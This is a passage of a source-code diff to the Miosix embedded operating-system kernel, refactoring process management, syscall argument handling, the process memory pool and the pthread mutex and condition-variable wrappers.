+ * Calling this function requires to first lock procMutex + */ + pid_t getNewPid(); - ///Used to assign a new pid to a process - pid_t pidCounter; ///Maps the pid to the Process instance. Includes zombie processes map processes; ///Uset to guard access to processes and pidCounter - Mutex procMutex; + KernelMutex procMutex; ///Used to wait on process termination ConditionVariable genericWaiting; private: - Processes() + ///Used to assign a new pid to a process + pid_t pidCounter=1; + + ProcessTable() { ProcessBase *kernel=Thread::getCurrentThread()->getProcess(); assert(kernel->getPid()==0); processes[0]=kernel; } - Processes(const Processes&)=delete; - Processes& operator=(const Processes&)=delete; + ProcessTable(const ProcessTable&)=delete; + ProcessTable& operator=(const ProcessTable&)=delete; }; -Processes& Processes::instance() +ProcessTable& ProcessTable::instance() { - static Processes singleton; + static ProcessTable singleton; return singleton; } +/** + * \return an unique pid that is not zero and is not already in use in the + * system, used to assign a pid to a new process.
+ */ +pid_t ProcessTable::getNewPid() +{ + for(;;pidCounter++) + { + if(pidCounter<=0) pidCounter=1; //Zero/negative are not valid pid + auto it=processes.find(pidCounter); + if(it!=processes.end()) continue; //Pid number already used + return pidCounter++; + } +} + // // class Process // @@ -129,24 +167,24 @@ Processes& Processes::instance() pid_t Process::create(ElfProgram&& program, ArgsBlock&& args) { if(program.errorCode()) return program.errorCode(); - Processes& p=Processes::instance(); + auto& processTable=ProcessTable::instance(); ProcessBase *parent=Thread::getCurrentThread()->proc; unique_ptr proc(new Process(parent->fileTable, std::move(program),std::move(args))); { - Lock l(p.procMutex); - proc->pid=getNewPid(); + Lock l(processTable.procMutex); + proc->pid=processTable.getNewPid(); proc->ppid=parent->pid; parent->childs.push_back(proc.get()); - p.processes[proc->pid]=proc.get(); + processTable.processes[proc->pid]=proc.get(); } auto thr=Thread::createUserspace(Process::start,proc.get()); if(thr==nullptr) { - Lock l(p.procMutex); - p.processes.erase(proc->pid); + Lock l(processTable.procMutex); + processTable.processes.erase(proc->pid); parent->childs.remove(proc.get()); - throw runtime_error("Thread creation failed"); + throw bad_alloc(); //Thread allocation failed } //Cannot throw bad_alloc due to the reserve in Process's constructor. //This ensures we will never be in the uncomfortable situation where a @@ -179,18 +217,19 @@ pid_t Process::spawn(const char *path, const char* const* argv, pid_t Process::getppid(pid_t proc) { - Processes& p=Processes::instance(); - Lock l(p.procMutex); - map::iterator it=p.processes.find(proc); - if(it==p.processes.end()) return -1; + auto& processTable=ProcessTable::instance(); + Lock l(processTable.procMutex); + auto it=processTable.processes.find(proc); + if(it==processTable.processes.end()) return -1; return it->second->ppid; } pid_t Process::waitpid(pid_t pid, int* exit, int options) { - Processes& p=Processes::instance(); - Lock l(p.procMutex); + auto& processTable=ProcessTable::instance(); + Lock l(processTable.procMutex); ProcessBase *self=Thread::getCurrentThread()->proc; + Process *joined=nullptr; if(pid<=0) { //Wait for a generic child process @@ -198,47 +237,44 @@ pid_t Process::waitpid(pid_t pid, int* exit, int options) while(self->zombies.empty()) { if(self->childs.empty()) return -ECHILD; - p.genericWaiting.wait(l); + processTable.genericWaiting.wait(l); } - Process *joined=self->zombies.front(); - self->zombies.pop_front(); - p.processes.erase(joined->pid); - if(joined->waitCount!=0) errorHandler(UNEXPECTED); - if(exit!=nullptr) *exit=joined->exitCode; - pid_t result=joined->pid; - delete joined; - return result; + joined=self->zombies.front(); + if(extraChecks!=ExtraChecks::None && joined->waitCount!=0) + errorHandler(Error::UNEXPECTED); } else { //Wait on a specific child process - map::iterator it=p.processes.find(pid); - if(it==p.processes.end() || it->second->ppid!=self->pid + auto it=processTable.processes.find(pid); + if(it==processTable.processes.end() || it->second->ppid!=self->pid || pid==self->pid) return -ECHILD; //Since the case when pid==0 has been singled out, this cast is safe - Process *joined=static_cast(it->second); - if(joined->zombie==false) + joined=static_cast(it->second); + while(joined->zombie==false) { - //Process hasn't terminated yet - if(options & WNOHANG) return 0; + if(options & WNOHANG) return 0; //Process hasn't terminated yet joined->waitCount++; joined->waiting.wait(l); joined->waitCount--; - if(joined->waitCount<0 || joined->zombie==false) - errorHandler(UNEXPECTED); - } - pid_t result=-1; - if(joined->waitCount==0) - { - result=joined->pid; - if(exit!=nullptr) *exit=joined->exitCode; - self->zombies.remove(joined); - p.processes.erase(joined->pid); - delete joined; + if(extraChecks!=ExtraChecks::None && joined->waitCount<0) + errorHandler(Error::UNEXPECTED); } - return result; + //waitCount implements areference counting strategy to make sure only + //only one waitpid returns each child, and no double-delete occurs + if(joined->waitCount>0) return -ECHILD; } + + self->zombies.remove(joined); + processTable.processes.erase(joined->pid); + if(exit!=nullptr) *exit=joined->exitCode; + pid_t result=joined->pid; + delete joined; + return result; } -Process::~Process() {} +Process::~Process() +{ + for(auto t : threads) if(t) t->join(); +} Process::Process(const FileDescriptorTable& fdt, ElfProgram&& program, ArgsBlock&& args) : ProcessBase(fdt), waitCount(0), zombie(false) @@ -297,16 +333,17 @@ void *Process::start(void *) unsigned int entry=proc->program.getEntryPoint(); Thread::setupUserspaceContext(entry,proc->argc,proc->argvSp,proc->envp, proc->image.getProcessBasePointer(),proc->image.getMainStackSize()); - SvcResult svcResult=Resume; + SvcResult svcResult; do { - miosix_private::SyscallParameters sp=Thread::switchToUserspace(); + SyscallParameters sp=Thread::switchToUserspace(); bool fault=proc->fault.faultHappened(); - //Handle svc only if no fault occurred - if(fault==false) svcResult=proc->handleSvc(sp); + if(fault) svcResult=Segfault; + else svcResult=proc->handleSvc(sp); //Handle svc only if no fault if(Thread::testTerminate() || svcResult==Exit) running=false; - if(fault || svcResult==Segfault) + //Segfault either because fault==true or handleSvc returned Segfault + if(svcResult==Segfault) { running=false; proc->exitCode=SIGSEGV; //Segfault @@ -325,29 +362,34 @@ void *Process::start(void *) } while(running); proc->fileTable.closeAll(); { - Processes& p=Processes::instance(); - Lock l(p.procMutex); + auto& processTable=ProcessTable::instance(); + Lock l(processTable.procMutex); proc->zombie=true; list::iterator it; for(it=proc->childs.begin();it!=proc->childs.end();++it) (*it)->ppid=0; for(it=proc->zombies.begin();it!=proc->zombies.end();++it) (*it)->ppid=0; - ProcessBase *kernel=p.processes[0]; + ProcessBase *kernel=processTable.processes[0]; kernel->childs.splice(kernel->childs.begin(),proc->childs); kernel->zombies.splice(kernel->zombies.begin(),proc->zombies); - map::iterator it2=p.processes.find(proc->ppid); - if(it2==p.processes.end()) errorHandler(UNEXPECTED); + auto it2=processTable.processes.find(proc->ppid); + if(it2==processTable.processes.end()) errorHandler(Error::UNEXPECTED); it2->second->childs.remove(proc); if(proc->waitCount>0) proc->waiting.broadcast(); - else { - it2->second->zombies.push_back(proc); - p.genericWaiting.broadcast(); - } + else it2->second->zombies.push_back(proc); + //This serves two purposes: first, it wakes the parent process in case + //it was waiting for any child. Note that this must be done also if + //waitCount is >0 as there may be both threads waiting on this specific + //child and threads waiting on a generic child, and if this is the only + //child, the latter will deadlock. Second, it will wake the kernel + //(process 0) so it can handle any zombies we may have spliced into its + //zombie list. + processTable.genericWaiting.broadcast(); } return nullptr; } -Process::SvcResult Process::handleSvc(miosix_private::SyscallParameters sp) +Process::SvcResult Process::handleSvc(SyscallParameters sp) { try { switch(static_cast(sp.getSyscallId())) @@ -401,9 +443,9 @@ Process::SvcResult Process::handleSvc(miosix_private::SyscallParameters sp) case Syscall::LSEEK: { off_t pos=sp.getParameter(2); - pos|=static_cast(sp.getParameter(1))<<32; + pos|=static_cast(sp.getParameter(3))<<32; off_t result=fileTable.lseek(sp.getParameter(0),pos, - sp.getParameter(3)); + sp.getParameter(1)); sp.setParameter(0,result & 0xffffffff); sp.setParameter(1,result>>32); break; @@ -451,7 +493,7 @@ Process::SvcResult Process::handleSvc(miosix_private::SyscallParameters sp) //NOTE: some fcntl operations have an optional third parameter //which can be either missing, an int or a pointer. //Currenlty we do not support any with a pointer third arg, but - //we arr on the side of safety and either pass the int or pass + //we err on the side of safety and either pass the int or pass //zero. When we'll support those with the pointer, we'll //validate it here. int result,cmd=sp.getParameter(1); @@ -593,7 +635,7 @@ Process::SvcResult Process::handleSvc(miosix_private::SyscallParameters sp) { auto path=reinterpret_cast(sp.getParameter(0)); off_t size=sp.getParameter(2); - size|=static_cast(sp.getParameter(1))<<32; + size|=static_cast(sp.getParameter(3))<<32; if(mpu.withinForReading(path)) { int result=fileTable.truncate(path,size); @@ -605,7 +647,7 @@ Process::SvcResult Process::handleSvc(miosix_private::SyscallParameters sp) case Syscall::FTRUNCATE: { off_t size=sp.getParameter(2); - size|=static_cast(sp.getParameter(1))<<32; + size|=static_cast(sp.getParameter(3))<<32; int result=fileTable.ftruncate(sp.getParameter(0),size); sp.setParameter(0,result); break; @@ -673,9 +715,9 @@ Process::SvcResult Process::handleSvc(miosix_private::SyscallParameters sp) { int fds[2]; int result=fileTable.pipe(fds); - sp.setParameter(1,result); //Does not overwrite r0 on purpose - sp.setParameter(2,fds[0]); - sp.setParameter(3,fds[1]); + sp.setParameter(0,result); + sp.setParameter(1,fds[0]); + sp.setParameter(2,fds[1]); break; } @@ -685,42 +727,79 @@ Process::SvcResult Process::handleSvc(miosix_private::SyscallParameters sp) break; } - case Syscall::GETTIME: + case Syscall::GETTIME64: { - //TODO: sp.getParameter(0) is clockid_t by there's no support yet long long t=getTime(); sp.setParameter(0,t & 0xffffffff); sp.setParameter(1,t>>32); break; } + case Syscall::NANOSLEEP64: + { + long long t=sp.getParameter(0); + t|=static_cast(sp.getParameter(1))<<32; + Thread::nanoSleepUntil(t); + break; + } + + case Syscall::GETTIME: + { + struct timespec tp; + int result=clock_gettime(sp.getParameter(0),&tp); + if(result==0) + { + sp.setParameter(0,0); + sp.setParameter(1,tp.tv_nsec); + sp.setParameter(2,tp.tv_sec & 0xffffffff); + sp.setParameter(3,tp.tv_sec>>32); + } else { + sp.setParameter(0,-errno); + sp.setParameter(1,0); + sp.setParameter(2,0); + sp.setParameter(3,0); + } + break; + } + case Syscall::SETTIME: { -// int clockid=sp.getParameter(0); -// long long t=sp.getParameter(2); -// t|=static_cast(sp.getParameter(1))<<32; - sp.setParameter(0,EFAULT); //NOTE: positive error codes + // struct timespec tp; + // int clockid=sp.getParameter(0); + // tp.tv_nsec=sp.getParameter(1); + // tp.tv_sec=sp.getParameter(2); + // tp.tv_sec|=static_cast(sp.getParameter(3))<<32; + sp.setParameter(0,-EFAULT); //TODO: stub break; } case Syscall::NANOSLEEP: { - int clockidAndFlags=sp.getParameter(3); - long long t=sp.getParameter(0); - t|=static_cast(sp.getParameter(1))<<32; - //TODO support for clockid is not implemented yet - if((clockidAndFlags & (1<<8))==0) t+=getTime(); //Relative sleep? - Thread::nanoSleepUntil(t); - sp.setParameter(0,0); + auto *req=reinterpret_cast(sp.getParameter(2)); + auto *rem=reinterpret_cast(sp.getParameter(3)); + if(mpu.withinForReading(req,sizeof(struct timespec)) && ( + rem==nullptr || mpu.withinForWriting(rem,sizeof(struct timespec)))) + { + int result=clock_nanosleep(sp.getParameter(0),sp.getParameter(1), + req,rem); + sp.setParameter(0,result); + } else sp.setParameter(0,EFAULT); //NOTE: positive error code break; } case Syscall::GETRES: { struct timespec tv; - sp.setParameter(0,clock_getres(sp.getParameter(0),&tv)); - //tv_sec not returned, clock resolutions >=1 second unsupported - sp.setParameter(2,tv.tv_nsec); + int result=clock_getres(sp.getParameter(0),&tv); + if(result==0) + { + sp.setParameter(0,0); + //tv_sec not returned, clock resolutions >=1 second unsupported + sp.setParameter(1,tv.tv_nsec); + } else { + sp.setParameter(0,-errno); + sp.setParameter(1,0); + } break; } @@ -775,22 +854,24 @@ Process::SvcResult Process::handleSvc(miosix_private::SyscallParameters sp) case Syscall::SPAWN: { - auto pidp=reinterpret_cast(sp.getParameter(0)); - auto path=reinterpret_cast(sp.getParameter(1)); - auto argv=reinterpret_cast(sp.getParameter(2)); - auto envp=reinterpret_cast(sp.getParameter(3)); - int narg=validateStringArray(mpu,argv); - int nenv=validateStringArray(mpu,envp); - if((!pidp || mpu.withinForWriting(pidp,sizeof(pid_t))) && - mpu.withinForReading(path) && narg>=0 && nenv>=0) + auto *ptr=reinterpret_cast(sp.getParameter(0)); + if(!mpu.withinForReading(ptr,sizeof(SpawnArgs))) { - auto pid=Process::spawn(path,argv,envp,narg,nenv); - if(pid>=0) - { - if(pidp) *pidp=pid; - sp.setParameter(0,0); - } else sp.setParameter(0,-pid); //NOTE: positive error codes - } else sp.setParameter(0,EFAULT); //NOTE: positive error codes + sp.setParameter(0,-EFAULT); + break; + } + SpawnArgs args; + memcpy(&args,ptr,sizeof(SpawnArgs)); + int narg=validateStringArray(mpu,args.argv); + int nenv=validateStringArray(mpu,args.envp); + //TODO: validate and handle args.actions and args.attr + if(!mpu.withinForReading(args.path) || narg<0 || nenv<0) + { + sp.setParameter(0,-EFAULT); + break; + } + auto pid=Process::spawn(args.path,args.argv,args.envp,narg,nenv); + sp.setParameter(0,pid); break; } @@ -805,7 +886,8 @@ Process::SvcResult Process::handleSvc(miosix_private::SyscallParameters sp) int pid=sp.getParameter(0); auto wstatus=reinterpret_cast(sp.getParameter(1)); int options=sp.getParameter(2); - if(mpu.withinForWriting(wstatus,sizeof(int)) && aligned(wstatus)) + if(wstatus==nullptr || + (mpu.withinForWriting(wstatus,sizeof(int)) && aligned(wstatus))) { int result=Process::waitpid(pid,wstatus,options); sp.setParameter(0,result); @@ -879,6 +961,12 @@ Process::SvcResult Process::handleSvc(miosix_private::SyscallParameters sp) break; } + case Syscall::SYSCONF: + { + sp.setParameter(0,sysconf(sp.getParameter(0))); + break; + } + default: exitCode=SIGSYS; //Bad syscall #ifdef WITH_ERRLOG @@ -892,19 +980,6 @@ Process::SvcResult Process::handleSvc(miosix_private::SyscallParameters sp) return Resume; } -pid_t Process::getNewPid() -{ - auto& p=Processes::instance(); - for(;;p.pidCounter++) - { - if(p.pidCounter<0) p.pidCounter=1; - if(p.pidCounter==0) continue; //Zero is not a valid pid - map::iterator it=p.processes.find(p.pidCounter); - if(it!=p.processes.end()) continue; //Pid number already used - return p.pidCounter++; - } -} - // // class ArgsBlock // @@ -957,7 +1032,7 @@ ArgsBlock::ArgsBlock(const char* const* argv, const char* const* envp, int narg, void ArgsBlock::relocateTo(char *target) { memcpy(target,block,blockSize); - auto relocate=[=](char *a) + auto relocate=[=, this](char *a) { char **element=reinterpret_cast(a); for(;*element!=nullptr;element++) *element=*element-block+target; diff --git a/miosix/kernel/process.h b/miosix/kernel/process.h index 5109249d3..ba93f5ad2 100644 --- a/miosix/kernel/process.h +++ b/miosix/kernel/process.h @@ -32,11 +32,12 @@ #include #include #include -#include "kernel.h" +#include "thread.h" #include "sync.h" #include "elf_program.h" -#include "config/miosix_settings.h" +#include "miosix_settings.h" #include "filesystem/file_access.h" +#include "interfaces_private/userspace.h" //TODO: avoid including private header #ifdef WITH_PROCESSES @@ -207,17 +208,11 @@ class Process : public ProcessBase * \return true if the process can continue running, false if it has * terminated */ - SvcResult handleSvc(miosix_private::SyscallParameters sp); - - /** - * \return an unique pid that is not zero and is not already in use in the - * system, used to assign a pid to a new process.
- */ - static pid_t getNewPid(); + SvcResult handleSvc(SyscallParameters sp); ElfProgram program; /// #include #include +#include #ifndef TEST_ALLOC -#include "core/memory_protection.h" +#include "interfaces_private/userspace.h" +#else //TEST_ALLOC +#include +#include +#include #endif //TEST_ALLOC using namespace std; @@ -40,7 +45,7 @@ using namespace std; namespace miosix { ///This constant specifies the size of the minimum allocatable block, -///in bits. So for example 10 is 1KB. +///in bits. The minimum supported block size is 2^10 or 1KB. static const unsigned int blockBits=10; ///This constant is the the size of the minimum allocatable block, in bytes. static const unsigned int blockSize=1< ProcessPool::allocate(unsigned int size) +tuple ProcessPool::allocate(unsigned int size) { - #ifndef TEST_ALLOC - miosix::Lock l(mutex); - size=MPUConfiguration::roundSizeForMPU(max(size,blockSize)); - #else //TEST_ALLOC - //Size adjustment not supported during test_alloc due to missing mpu header - if((size & (size - 1)) || sizepoolSize) throw bad_alloc(); + #ifndef TEST_ALLOC + Lock l(mutex); + #endif //TEST_ALLOC unsigned int offset=0; if(reinterpret_cast(poolBase) % size) offset=size-(reinterpret_cast(poolBase) % size); @@ -93,7 +102,7 @@ pair ProcessPool::allocate(unsigned int size) for(unsigned int j=0;j ProcessPool::allocate(unsigned int size) void ProcessPool::deallocate(unsigned int *ptr) { #ifndef TEST_ALLOC - miosix::Lock l(mutex); + Lock l(mutex); #endif //TEST_ALLOC - map::iterator it= allocatedBlocks.find(ptr); + auto it=allocatedBlocks.find(ptr); if(it==allocatedBlocks.end()) #ifndef TEST_ALLOC - errorHandler(UNEXPECTED); + errorHandler(Error::UNEXPECTED); #else //TEST_ALLOC throw runtime_error("ProcessPool::deallocate corrupted pointer"); #endif //TEST_ALLOC - unsigned int size =(it->second)/blockSize; + unsigned int size=(it->second)/blockSize; unsigned int firstBit=(reinterpret_cast(ptr)- reinterpret_cast(poolBase))/blockSize; for(unsigned int i=firstBit;i|d"<>dec>>param; try { - pool.allocate(1<second - << " allocated @ " << it->first< allocatedBlocks; #ifndef TEST_ALLOC - miosix::FastMutex mutex; ///< Mutex to guard concurrent access + KernelMutex mutex; ///< Mutex to guard concurrent access #endif //TEST_ALLOC }; diff --git a/miosix/kernel/pthread.cpp b/miosix/kernel/pthread.cpp index c66abe9dc..6c607d62f 100644 --- a/miosix/kernel/pthread.cpp +++ b/miosix/kernel/pthread.cpp @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2010-2023 by Terraneo Federico * + * Copyright (C) 2010-2025 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -34,10 +34,14 @@ #include #include #include +#include //for __cxxabiv1::__guard +#include "thread.h" +#include "sync.h" #include "error.h" #include "pthread_private.h" -#include "stdlib_integration/libc_integration.h" +#include "kercalls/libc_integration.h" +using namespace std; using namespace miosix; // @@ -58,18 +62,13 @@ int pthread_create(pthread_t *pthread, const pthread_attr_t *attr, { Thread::Options opt=Thread::JOINABLE; unsigned int stacksize=STACK_DEFAULT_FOR_PTHREAD; - Priority priority=MAIN_PRIORITY; - if(attr!=NULL) + Priority priority=DEFAULT_PRIORITY; + if(attr!=nullptr) { - if(attr->detachstate==PTHREAD_CREATE_DETACHED) - opt=Thread::DEFAULT; + if(attr->detachstate==PTHREAD_CREATE_DETACHED) opt=Thread::DETACHED; stacksize=attr->stacksize; #ifndef SCHED_TYPE_EDF - // Cap priority value in the range between 0 and PRIORITY_MAX-1 - int prio=std::min(std::max(0,attr->schedparam.sched_priority), - PRIORITY_MAX-1); - // Swap unix-based priority back to the miosix one. - priority=(PRIORITY_MAX-1)-prio; + priority=max(0,min(NUM_PRIORITIES-1,attr->schedparam.sched_priority)); #endif //SCHED_TYPE_EDF } Thread *result=Thread::create(start,stacksize,priority,arg,opt); @@ -81,7 +80,6 @@ int pthread_create(pthread_t *pthread, const pthread_attr_t *attr, int pthread_join(pthread_t pthread, void **value_ptr) { Thread *t=reinterpret_cast(pthread); - if(Thread::exists(t)==false) return ESRCH; if(t==Thread::getCurrentThread()) return EDEADLK; if(t->join(value_ptr)==false) return EINVAL; return 0; @@ -90,7 +88,6 @@ int pthread_join(pthread_t pthread, void **value_ptr) int pthread_detach(pthread_t pthread) { Thread *t=reinterpret_cast(pthread); - if(Thread::exists(t)==false) return ESRCH; t->detach(); return 0; } @@ -110,9 +107,8 @@ int pthread_attr_init(pthread_attr_t *attr) //We only use three fields of pthread_attr_t so initialize only these attr->detachstate=PTHREAD_CREATE_JOINABLE; attr->stacksize=STACK_DEFAULT_FOR_PTHREAD; - //Default priority level is one above minimum. #ifndef SCHED_TYPE_EDF - attr->schedparam.sched_priority=PRIORITY_MAX-1-MAIN_PRIORITY; + attr->schedparam.sched_priority=DEFAULT_PRIORITY; #endif //SCHED_TYPE_EDF return 0; } @@ -167,21 +163,22 @@ int pthread_attr_setschedparam(pthread_attr_t *attr, int sched_get_priority_max(int policy) { (void)policy; - - // Unix-like thread priorities: max priority is zero. - return 0; + // The value for NUM_PRIORITIES is configured in miosix_settings.h + return NUM_PRIORITIES - 1; } int sched_get_priority_min(int policy) { (void)policy; - - // Unix-like thread priorities: min priority is a value above zero. - // The value for PRIORITY_MAX is configured in miosix_settings.h - return PRIORITY_MAX - 1; + return 0; } #endif //SCHED_TYPE_EDF +void pthread_yield() +{ + Thread::yield(); +} + int sched_yield() { Thread::yield(); @@ -192,13 +189,50 @@ int sched_yield() // Mutex API // -int pthread_mutexattr_init(pthread_mutexattr_t *attr) +//The pthread_mutex_t API is implemented simply as a wrapper around the native +//Miosix C++ Mutex or FastMutex. Therefore the memory layout of pthread_mutex_t +//should be enough to hold either of these plus an int (type) to differentiate +//what kind of mutex it is. +// +// Memory layout of the three involved types and how it overlaps: +// Also note that when SCHED_TYPE_PRIORITY is defined, the WaitQueue size +// becomes 4 bytes instead of 8 so it only has one field. +// typedef struct class Mutex class FastMutex +// { { { +// void *owner; Thread *owner; Thread *owner; +// int recursiveDepth; int recursiveDepth; int recursiveDepth; +// void *field1; WaitQueue waitQueue; (field1) WaitQueue waitQueue; (field1) +// void *field2; WaitQueue waitQueue; (field2) WaitQueue waitQueue; (field2) +// void *field3; Mutex *next; //Unused +// int type; //Used by pthread wrapper //Used by pthread wrapper +// } pthread_mutex_t; }; }; +static_assert(sizeof(pthread_mutex_t)>=sizeof(FastMutex)+sizeof(int),"Invalid pthread_mutex_t size"); +static_assert(sizeof(pthread_mutex_t)>=sizeof(Mutex)+sizeof(int),"Invalid pthread_mutex_t size"); + +/** + * Decide whether the pthread_mutex_t has priority inheritance depending on + * compile-time overrides or the dynamic (run-time) type. We rely on compiler + * optimizations to remove dead code when using compile-time overrides. + * \param type dynamic type, either PTHREAD_PRIO_NONE or PTHREAD_PRIO_INHERIT + * \return true if the mutex has priority inheritance + */ +static inline bool hasPriorityInheritance(int type) +{ + if(pthreadMutexProtocolOverride==PthreadMutexProtocol::FORCE_PRIO_INHERIT) + return true; + else if(pthreadMutexProtocolOverride==PthreadMutexProtocol::FORCE_PRIO_NONE) + return false; + else return type!=PTHREAD_PRIO_NONE; +} + +int pthread_mutexattr_init(pthread_mutexattr_t *attr) { attr->recursive=PTHREAD_MUTEX_DEFAULT; + attr->prio=PTHREAD_PRIO_NONE; return 0; } -int pthread_mutexattr_destroy(pthread_mutexattr_t *attr) +int pthread_mutexattr_destroy(pthread_mutexattr_t *attr) { return 0; //Do nothing } @@ -213,73 +247,106 @@ int pthread_mutexattr_settype(pthread_mutexattr_t *attr, int kind) { switch(kind) { + case PTHREAD_MUTEX_NORMAL: case PTHREAD_MUTEX_DEFAULT: - attr->recursive=PTHREAD_MUTEX_DEFAULT; - return 0; case PTHREAD_MUTEX_RECURSIVE: - attr->recursive=PTHREAD_MUTEX_RECURSIVE; + attr->recursive=kind; return 0; default: return EINVAL; } } -int pthread_mutex_init(pthread_mutex_t *mutex, const pthread_mutexattr_t *attr) +int pthread_mutexattr_setprotocol(pthread_mutexattr_t *attr, int protocol) { - mutex->owner=0; - mutex->first=0; - //No need to initialize mutex->last - if(attr!=0) + switch(protocol) { - mutex->recursive= attr->recursive==PTHREAD_MUTEX_RECURSIVE ? 0 : -1; - } else mutex->recursive=-1; - return 0; + case PTHREAD_PRIO_NONE: + case PTHREAD_PRIO_INHERIT: + attr->prio=protocol; + return 0; + default: + return EINVAL; + } } -int pthread_mutex_destroy(pthread_mutex_t *mutex) +int pthread_mutexattr_getprotocol(const pthread_mutexattr_t *attr, int *protocol) { - if(mutex->owner!=0) return EBUSY; + *protocol=attr->prio; return 0; } -int pthread_mutex_lock(pthread_mutex_t *mutex) +int pthread_mutex_init(pthread_mutex_t *mutex, const pthread_mutexattr_t *attr) { - FastInterruptDisableLock dLock; - IRQdoMutexLock(mutex,dLock); + auto option=MutexOptions::DEFAULT; + //NOTE: attr can be NULL + if(attr && attr->recursive==PTHREAD_MUTEX_RECURSIVE) option=MutexOptions::RECURSIVE; + #ifndef __NO_EXCEPTIONS + try { + #endif //__NO_EXCEPTIONS + int type=PTHREAD_PRIO_NONE; + if(attr) type=attr->prio; //NOTE: attr can be NULL + if(hasPriorityInheritance(type)) + { + mutex->type=PTHREAD_PRIO_INHERIT; + new (mutex) Mutex(option); + } else { + mutex->type=PTHREAD_PRIO_NONE; + new (mutex) FastMutex(option); + } + #ifndef __NO_EXCEPTIONS + } catch(bad_alloc&) { + return ENOMEM; //Implementation may allocate for some scheduler type + } + #endif //__NO_EXCEPTIONS return 0; } -int pthread_mutex_trylock(pthread_mutex_t *mutex) +int pthread_mutex_destroy(pthread_mutex_t *mutex) { - FastInterruptDisableLock dLock; - void *p=reinterpret_cast(Thread::IRQgetCurrentThread()); - if(mutex->owner==0) + if(hasPriorityInheritance(mutex->type)) { - mutex->owner=p; - return 0; + auto *impl=reinterpret_cast(mutex); + if(impl->isLocked()) return EBUSY; + impl->~Mutex(); //Call destructor manually + } else { + auto *impl=reinterpret_cast(mutex); + if(impl->isLocked()) return EBUSY; + impl->~FastMutex(); //Call destructor manually } - if(mutex->owner==p && mutex->recursive>=0) - { - mutex->recursive++; - return 0; + return 0; +} + +int pthread_mutex_lock(pthread_mutex_t *mutex) +{ + #ifndef __NO_EXCEPTIONS + try { + #endif //__NO_EXCEPTIONS + //NOTE: Handling FastMutex first speeds up the likely case + if(hasPriorityInheritance(mutex->type)==false) + return reinterpret_cast(mutex)->lock(); + else return reinterpret_cast(mutex)->lock(); + #ifndef __NO_EXCEPTIONS + } catch(bad_alloc&) { + return ENOMEM; //Implementation may allocate for some scheduler type } - return EBUSY; + #endif //__NO_EXCEPTIONS +} + +int pthread_mutex_trylock(pthread_mutex_t *mutex) +{ + //NOTE: Handling FastMutex first speeds up the likely case + if(hasPriorityInheritance(mutex->type)==false) + return reinterpret_cast(mutex)->tryLock() ? 0 : EBUSY; + else return reinterpret_cast(mutex)->tryLock() ? 0 : EBUSY; } int pthread_mutex_unlock(pthread_mutex_t *mutex) { - #ifndef SCHED_TYPE_EDF - FastInterruptDisableLock dLock; - IRQdoMutexUnlock(mutex); - #else //SCHED_TYPE_EDF - bool hppw; - { - FastInterruptDisableLock dLock; - hppw=IRQdoMutexUnlock(mutex); - } - if(hppw) Thread::yield(); //If the woken thread has higher priority, yield - #endif //SCHED_TYPE_EDF - return 0; + //NOTE: Handling FastMutex first speeds up the likely case + if(hasPriorityInheritance(mutex->type)==false) + return reinterpret_cast(mutex)->unlock(); + else return reinterpret_cast(mutex)->unlock(); } // @@ -288,23 +355,40 @@ int pthread_mutex_unlock(pthread_mutex_t *mutex) //The pthread_cond_t API is implemented simply as a wrapper around the native //Miosix C++ ConditionVariable. Therefore the memory layout of pthread_cond_t -//and of ConditionVariable must be exactly the same. - -static_assert(sizeof(ConditionVariable)==sizeof(pthread_cond_t),"Invalid pthread_cond_t size"); +//and of ConditionVariable must be enough to hold a ConditionVariable. +// +// Memory layout of the three involved types and how it overlaps: +// Also note that when SCHED_TYPE_PRIORITY is defined, the WaitQueue size +// becomes 4 bytes instead of 8 so it only has one field (second field remains +// unused) +// typedef struct class ConditionVariable +// { { +// void *field1; WaitQueue waitQueue; (field1) +// void *field2; WaitQueue waitQueue; (field2) +// } pthread_cond_t; }; +static_assert(sizeof(pthread_cond_t)>=sizeof(ConditionVariable),"Invalid pthread_cond_t size"); int pthread_cond_init(pthread_cond_t *cond, const pthread_condattr_t *attr) { //attr is currently not considered //NOTE: pthread_condattr_setclock is not supported, the only clock supported //for pthread_cond_timedwait is CLOCK_MONOTONIC - new (cond) ConditionVariable; //Placement new as cond is a C type - return 0; + #ifndef __NO_EXCEPTIONS + try { + #endif //__NO_EXCEPTIONS + new (cond) ConditionVariable; //Placement new as cond is a C type + return 0; + #ifndef __NO_EXCEPTIONS + } catch(bad_alloc&) { + return ENOMEM; //Implementation may allocate for some scheduler type + } + #endif //__NO_EXCEPTIONS } int pthread_cond_destroy(pthread_cond_t *cond) { auto *impl=reinterpret_cast(cond); - if(!impl->condList.empty()) return EBUSY; + if(!impl->empty()) return EBUSY; impl->~ConditionVariable(); //Call destructor manually return 0; } @@ -312,60 +396,60 @@ int pthread_cond_destroy(pthread_cond_t *cond) int pthread_cond_wait(pthread_cond_t *cond, pthread_mutex_t *mutex) { auto *impl=reinterpret_cast(cond); - impl->wait(mutex); - return 0; + #ifndef __NO_EXCEPTIONS + try { + #endif //__NO_EXCEPTIONS + //NOTE: Handling FastMutex first speeds up the likely case + if(hasPriorityInheritance(mutex->type)==false) + impl->wait(*reinterpret_cast(mutex)); + else impl->wait(*reinterpret_cast(mutex)); + return 0; + #ifndef __NO_EXCEPTIONS + } catch(bad_alloc&) { + return ENOMEM; //Implementation may allocate for some scheduler type + } + #endif //__NO_EXCEPTIONS } int pthread_cond_timedwait(pthread_cond_t *cond, pthread_mutex_t *mutex, const struct timespec *abstime) { auto *impl=reinterpret_cast(cond); - TimedWaitResult res = impl->timedWait(mutex,timespec2ll(abstime)); - return res == TimedWaitResult::Timeout ? ETIMEDOUT : 0; + TimedWaitResult res; + #ifndef __NO_EXCEPTIONS + try { + #endif //__NO_EXCEPTIONS + //NOTE: Handling FastMutex first speeds up the likely case + if(hasPriorityInheritance(mutex->type)==false) + res=impl->timedWait(*reinterpret_cast(mutex),timespec2ll(abstime)); + else res=impl->timedWait(*reinterpret_cast(mutex),timespec2ll(abstime)); + return res == TimedWaitResult::Timeout ? ETIMEDOUT : 0; + #ifndef __NO_EXCEPTIONS + } catch(bad_alloc&) { + return ENOMEM; //Implementation may allocate for some scheduler type + } + #endif //__NO_EXCEPTIONS +} + +int pthread_cond_clockwait(pthread_cond_t *cond, pthread_mutex_t *mutex, clockid_t clock, const struct timespec *abstime) +{ + //Miosix only supports CLOCK_MONOTONIC for condition variables, since + //why would a wait on a condition variable be delayed by one hour if it's + 